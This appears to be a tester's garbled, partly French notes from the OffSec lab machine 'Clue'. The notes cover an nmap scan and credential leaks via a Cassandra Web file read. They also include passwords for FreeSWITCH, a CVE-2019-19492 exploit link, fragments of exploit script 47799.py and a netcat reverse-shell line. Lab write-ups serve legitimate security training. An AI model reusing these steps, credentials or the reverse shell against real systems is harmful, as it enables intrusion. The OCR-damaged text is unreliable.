Linux — Clue :)

dimanche 13 juillet 2025 23:17

sudo nmap -sVC -p- 192.168.243.240 --open

[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 23:25 CEST

Nmap scan report for 192.168.243.240

Host is up (0.013s latency).

Not shown: 65529 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:

| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6¢ (RSA)

| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)

|_ 256 7f:5d:10:27:62:ba:75:€9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)

80/tcp open http Apache httpd 2.4.38

| _http-title: 403 Forbidden

| _http-server-header: Apache/2.4.38 (Debian)

139/tcp open netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn  Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open http Thin httpd

| _http-title: Cassandra Web

| _http-server-header: thin

8021/tcp open freeswitch-event FreeSWITCH mod_event_socket

Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| smb2-time:

| date: 2025-07-13721:28:01
| _ start_date: N/A

| smb-security-mode:
| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| _clock-skew: mean: 1h19m56s, deviation: 2h18m36s, median: -5s

| smb2-security-mode:

| 3:1:1:

|_  Message signing enabled but not required

| smb-os-discovery:

| OS: Windows 6.1 (Samba 4.9.5-Debian)

| Computer name: clue

| NetBIOS computer name: CLUE\x00

| Domain name: pg

| FQDN: clue.pg

|_ System time: 2025-07-13T17:28:04-04:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.02 seconds
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Keyspaces
ysp Cluster Status

Hosts

Datacenter: datacenter1
ip id

127.0.0.1 39c6f1e3-d798-44ce-b216-ce0i664fcOaf

Keyspaces

system_auth

C KEYSPACE system_auth WITH replication = {'clas
rable_writes = true;

system_schema

KEYSPACE system_schema WITH

system_distributed

KEYSPACE system_distributed WITH
\ND durable writes = true;

system

KEYSPACE system WIT

system_traces

E system_traces WITH

KEYSF

durable_writes = true;

Regarder cassandra web exploit
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replication = {'class

replication = {

1 replication = {'class': 'Lo

replication = {'class

@ @

Google Hacking DB OffSec

rack version status
rack1 3.11.13 up
mp ate replication_factor': '1'} AND du
'LocalStrategy'} AND durable_writes = true;
lass': 'SimpleStrategy’, replication_Tactor
LStrategy'} AND durable_writes = true;
'SimpleStrategy’, 1 tion fact g




/proc/self/cmdline

Cassandra -web -u cassie -p SecondBiteTheApple330

https://github.com/tucommenceapousser/CVE-2019-19492

Mdp pour free switch :

StrongClueConEight021
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GNU nano 8.2 47799.py *

L

socket

Sys

Missing arguments')
nt('Usage: freeswitch-exploit.py <target> <cmd>')

s=socket(AF_INET,
t( (ADDRESS,

b'+0K accepted’
print('Au

Rev shell

p-e bash"

ﬂ- Qutil Capture d'é

Capture d'écran coj
Enregistrement aut,

L captures d'écran.
46 80 -e bas i
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Bruh
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